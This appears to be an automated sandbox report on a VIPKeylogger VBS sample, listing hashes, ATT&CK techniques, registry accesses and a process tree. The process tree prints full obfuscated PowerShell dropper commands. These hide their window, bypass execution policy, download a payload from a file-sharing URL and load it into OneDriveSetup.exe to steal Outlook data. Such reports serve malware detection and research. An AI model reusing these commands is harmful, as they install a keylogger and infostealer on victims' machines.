vipkeylogger | f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348

Analysis

max time kernel
130s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12/11/2024, 03:08

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General

Target
f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348.vbs
Size 11KB
Sample241112-dm23lstejf
SHA256 f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348
MD5 f5678ceb6c0d259337b4dab43f009e97
SHA1 71bc74501d1b126adb0bed8d7e4c3e182cd5bbbe
SHA512 463b6cca15009a574a454637f3d5555c3ebde0117f65c12d0803e9ca3dac0e534b157ef473deaf703b60db396bde0a384b9471f4fccaed33995217353619a739
SSDEEP 192:mXThtJfTvuOg25CfSkYiGh6yR4W8L8tnQ2+mi3F8w/RHXS:8FOGqF/JHXS
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f
exe.dropper
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Extracted

Family

vipkeylogger

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	1540	WScript.exe
7	1540	WScript.exe
18	2260	powershell.exe
26	2260	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3288	powershell.exe
2260	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	OneDriveSetup.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	OneDriveSetup.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	OneDriveSetup.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2260 set thread context of 1564	2260	powershell.exe	101

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OneDriveSetup.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	WScript.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3288	powershell.exe
3288	powershell.exe
2260	powershell.exe
2260	powershell.exe
2260	powershell.exe
2260	powershell.exe
1564	OneDriveSetup.exe
1564	OneDriveSetup.exe
1564	OneDriveSetup.exe
1564	OneDriveSetup.exe
1564	OneDriveSetup.exe
1564	OneDriveSetup.exe
1564	OneDriveSetup.exe
1564	OneDriveSetup.exe
1564	OneDriveSetup.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3288	powershell.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	1564	OneDriveSetup.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 384 wrote to memory of 1540	384	WScript.exe	83
PID 384 wrote to memory of 1540	384	WScript.exe	83
PID 1540 wrote to memory of 3288	1540	WScript.exe	87
PID 1540 wrote to memory of 3288	1540	WScript.exe	87
PID 3288 wrote to memory of 2260	3288	powershell.exe	89
PID 3288 wrote to memory of 2260	3288	powershell.exe	89
PID 2260 wrote to memory of 3416	2260	powershell.exe	100
PID 2260 wrote to memory of 3416	2260	powershell.exe	100
PID 2260 wrote to memory of 3416	2260	powershell.exe	100
PID 2260 wrote to memory of 1564	2260	powershell.exe	101
PID 2260 wrote to memory of 1564	2260	powershell.exe	101
PID 2260 wrote to memory of 1564	2260	powershell.exe	101
PID 2260 wrote to memory of 1564	2260	powershell.exe	101
PID 2260 wrote to memory of 1564	2260	powershell.exe	101
PID 2260 wrote to memory of 1564	2260	powershell.exe	101
PID 2260 wrote to memory of 1564	2260	powershell.exe	101
PID 2260 wrote to memory of 1564	2260	powershell.exe	101
PID 2260 wrote to memory of 1564	2260	powershell.exe	101

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	OneDriveSetup.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	OneDriveSetup.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f4f50825743ac2b448f3254ff8ac01323ff16f9ed2287d0fe7614cf0b7a12348.vbs"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:384
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnT0s2aW1hZ2VVcmwgPSA5U2NodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9mJysnaWxla2V5PTJBYV9iV28nKyc5UmV1NDUnKyd0JysnN0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVEknKydDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIDlTYztPSzZ3ZWJDJysnbGllbnQgPSBOZXcnKyctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O09LNmltYWdlQnl0ZXMgPSBPSzZ3ZWJDJysnbGllbnQuRG93bmxvJysnYWREYXRhKE9LNmltYWdlVXJsKTtPSzZpbWFnZVRleHQgPSBbU3lzdGVtLicrJ1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhPSzZpbWFnJysnZUJ5dGVzKTtPSzZzdGEnKydydEZsYWcgPSA5U2M8PEJBU0U2NF9TVEFSVD4+OVNjO09LNmVuZEZsYWcgPSA5U2M8PEJBU0U2NF9FTkQ+PjlTYztPSzZzdGFydEluZGV4ID0gT0s2aW1hZ2VUZXh0LkluZGV4T2YoT0s2c3RhcnRGbCcrJ2FnKScrJztPSzZlbmRJbmRleCA9IE9LNmltYScrJ2dlVGV4dC5JbicrJ2RleE9mKE9LNmVuZEZsYWcpO09LNnN0YScrJ3J0SW5kZXggLWdlIDAgLWFuZCBPSzZlbmRJbmRleCAtZ3QgT0s2c3RhcnRJbmRleDtPSzZzdGFydEluZGV4ICsnKyc9IE9LNnN0YXJ0RmxhZy5MZW5ndGg7T0s2YmFzZTY0TGVuZ3RoID0gT0s2ZW5kSW5kZXggLSBPSzZzdGFydEluZGV4O09LNmJhc2U2NENvbW1hbmQgPSBPSzZpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ09LNnN0JysnYXJ0SW5kZXgsIE9LNmJhc2U2NExlbmd0aCk7T0s2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoT0s2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRyYiBGb3JFYWNoLU9iamVjdCB7IE9LNl8gfSlbLTEuLi0oJysnT0s2YmFzZTY0Q28nKydtbWFuZC5MZW5ndGgpXTtPSzZjb21tYW4nKydkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjonKydGcm9tQmFzZTY0U3RyJysnaScrJ25nKE9LNmJhcycrJ2U2NCcrJ1JldmVyJysnc2VkKTtPSzZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseScrJ106OkxvYWQoT0s2Y29tbWFuZEJ5dGVzKTtPSzZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDlTJysnY1ZBSTlTYyk7T0s2dmFpTWV0aG9kLkludm9rZShPSzZudWxsLCcrJyBAKDlTY3QnKyd4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbG9yLnN1cC8vOnB0dGg5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTYycrJ2Rlc2F0aXZhZG85U2MsIDlTJysnY2Rlc2F0aXZhJysnZCcrJ285U2MsIDlTYzE5U2MsIDlTY09uZURyaXZlU2V0dXA5U2MsIDlTY2Rlc2F0aXZhZG85U2MsIDlTY2Rlc2F0aXZhJysnZG85U2MsOVNjZGVzYXRpdmFkbzlTYyw5U2NkZXNhdGl2YWRvOVNjLDlTY2QnKydlc2F0aXZhZG85U2MsOVNjMTlTYyw5U2NkZXNhJysndGl2YWRvOVNjKSk7JykgIC1yZXBsQUNlKFtDSGFyXTExNitbQ0hhcl0xMTQrW0NIYXJdOTgpLFtDSGFyXTEyNC1jcmVwbGFDRSAnT0s2JyxbQ0hhcl0zNiAgLXJlcGxBQ2UgICc5U2MnLFtDSGFyXTM5KSB8ICYgKChHdiAnKk1kUionKS5OYW1FWzMsMTEsMl0tam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('OK6imageUrl = 9Schttps://1017.filemail.com/api/file/get?f'+'ilekey=2Aa_bWo'+'9Reu45'+'t'+'7BU1kVgsd9pT9pgSSlvStGrnTI'+'CfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f 9Sc;OK6webC'+'lient = New'+'-Object System.Net.WebClient;OK6imageBytes = OK6webC'+'lient.Downlo'+'adData(OK6imageUrl);OK6imageText = [System.'+'Text.Encoding]::UTF8.GetString(OK6imag'+'eBytes);OK6sta'+'rtFlag = 9Sc<<BASE64_START>>9Sc;OK6endFlag = 9Sc<<BASE64_END>>9Sc;OK6startIndex = OK6imageText.IndexOf(OK6startFl'+'ag)'+';OK6endIndex = OK6ima'+'geText.In'+'dexOf(OK6endFlag);OK6sta'+'rtIndex -ge 0 -and OK6endIndex -gt OK6startIndex;OK6startIndex +'+'= OK6startFlag.Length;OK6base64Length = OK6endIndex - OK6startIndex;OK6base64Command = OK6imageText.Substring('+'OK6st'+'artIndex, OK6base64Length);OK6base64Reversed = -join (OK6base64Command.ToCharArray() trb ForEach-Object { OK6_ })[-1..-('+'OK6base64Co'+'mmand.Length)];OK6comman'+'dBytes = [System.Convert]::'+'FromBase64Str'+'i'+'ng(OK6bas'+'e64'+'Rever'+'sed);OK6loadedAssembly = [System.Reflection.Assembly'+']::Load(OK6commandBytes);OK6vaiMethod = [dnlib.IO.Home].GetMethod(9S'+'cVAI9Sc);OK6vaiMethod.Invoke(OK6null,'+' @(9Sct'+'xt.LSSWS/klo/ue.hsupwsrellor.sup//:ptth9Sc, 9Scdesativado9Sc, 9Scdesativado9Sc, 9Sc'+'desativado9Sc, 9S'+'cdesativa'+'d'+'o9Sc, 9Sc19Sc, 9ScOneDriveSetup9Sc, 9Scdesativado9Sc, 9Scdesativa'+'do9Sc,9Scdesativado9Sc,9Scdesativado9Sc,9Scd'+'esativado9Sc,9Sc19Sc,9Scdesa'+'tivado9Sc));') -replACe([CHar]116+[CHar]114+[CHar]98),[CHar]124-creplaCE 'OK6',[CHar]36 -replACe '9Sc',[CHar]39) | & ((Gv '*MdR*').NamE[3,11,2]-joiN'')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2260
    - - C:\Windows\SysWOW64\OneDriveSetup.exe
        
        "C:\Windows\SysWOW64\OneDriveSetup.exe"
        5⤵
        
        PID:3416
    - - C:\Windows\SysWOW64\OneDriveSetup.exe
        
        "C:\Windows\SysWOW64\OneDriveSetup.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:1564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

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XqrJnUsDhYijtro.vbs

Path C:\Users\Admin\AppData\Local\Temp\XqrJnUsDhYijtro.vbs
Size 1KB
SHA256 26524695f59b3f155be3c94504537f36c5de23bc2226e5819b7919023dd5c183
MD5 03e4e4d0259b3af7b37e2802812d9128
SHA1 fcef4018ec7206fb296b79e8035bb02457e39872
SHA512 dbdaa2707f6e19442a7d55f119487b418f17a040462b11fc88653e130709c1127e2d0d1923dde3258546ff07b18c1d3c5cdbc2a7ff40f342d3689a618159e1a6
MD5 SHA1 SHA512

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__PSScriptPolicyTest_2gmdwnqk.uo0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2gmdwnqk.uo0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1564-31-0x0000000004980000-0x00000000049CE000-memory.dmp

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memory/1564-25-0x0000000000400000-0x0000000000437000-memory.dmp

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memory/1564-24-0x0000000000400000-0x0000000000437000-memory.dmp

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memory/1564-32-0x00000000075A0000-0x0000000007B44000-memory.dmp

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memory/1564-33-0x0000000006F70000-0x0000000006FBE000-memory.dmp

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memory/1564-34-0x0000000007090000-0x000000000712C000-memory.dmp

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memory/1564-35-0x00000000083A0000-0x0000000008562000-memory.dmp

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memory/1564-36-0x0000000008220000-0x0000000008270000-memory.dmp

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memory/1564-37-0x0000000008AA0000-0x0000000008FCC000-memory.dmp

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memory/1564-38-0x00000000090D0000-0x0000000009162000-memory.dmp

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memory/1564-39-0x00000000086E0000-0x00000000086EA000-memory.dmp

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memory/2260-23-0x000001ADBB7C0000-0x000001ADBB918000-memory.dmp

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memory/3288-13-0x000001D1213C0000-0x000001D1213E2000-memory.dmp

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